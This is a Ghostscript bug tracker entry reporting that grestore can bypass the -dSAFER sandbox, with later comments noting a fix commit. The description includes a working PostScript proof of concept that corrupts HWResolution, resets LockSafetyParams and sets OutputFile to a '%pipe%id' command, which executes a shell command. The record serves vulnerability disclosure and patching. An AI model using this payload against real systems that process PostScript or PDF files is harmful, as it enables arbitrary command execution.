Bug 699687

Summary:	grestore can bypass SAFER
Product:	Ghostscript	Reporter:	Ken Sharp <ken.sharp>
Component:	General	Assignee:	Chris Liddell (chrisl) <chris.liddell>
Status:	RESOLVED FIXED
Severity:	normal	CC:	cbuissar, esachse, scorneli, taviso
Priority:	P4
Version:	unspecified
Hardware:	PC
OS:	Windows 7
Customer:		Word Size:	---

Description Ken Sharp 2018-08-29 07:01:10 UTC

This has been moved from the never-ending bug #699654, the last comment in that thread demonstrates a similar issue to the original report, but using grestore instead of restore:

-------------------------------------------------------------------------------
GS>currentpagedevice wcheck ==
false
GS>currentpagedevice /HWResolution get wcheck ==
true

You can't def HWResolution (for example), but you can just put or astore into it. If you put some junk in there, then grestore doesn't work:

GS>a0
GS>currentpagedevice /HWResolution get 0 (foobar) put
GS>grestore
Error: /rangecheck in .installpagedevice

Then LockSafetyParams is false again:

GS>mark currentdevice getdeviceprops .dicttomark /.LockSafetyParams get == pop
false


That doesnt work with save (only gsave), so full exploit:

a0
currentpagedevice /HWResolution get 0 (foobar) put
{ grestore } stopped {} if
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
showpage

Comment 1 Ken Sharp 2018-09-01 10:16:55 UTC

*** Bug 699697 has been marked as a duplicate of this bug. ***

Comment 2 Ken Sharp 2018-09-01 10:33:04 UTC

I have a fix for this which I've asked Chris to review, especially to review any non-standard devices which might be vulnerable in the same way. I imagine we'll have a fix committed shortly.

Comment 3 Ken Sharp 2018-09-03 07:42:33 UTC

Commit 	7ba6d80c69f0c74601ffc1077d27e0d1a299e57f addresses this issue.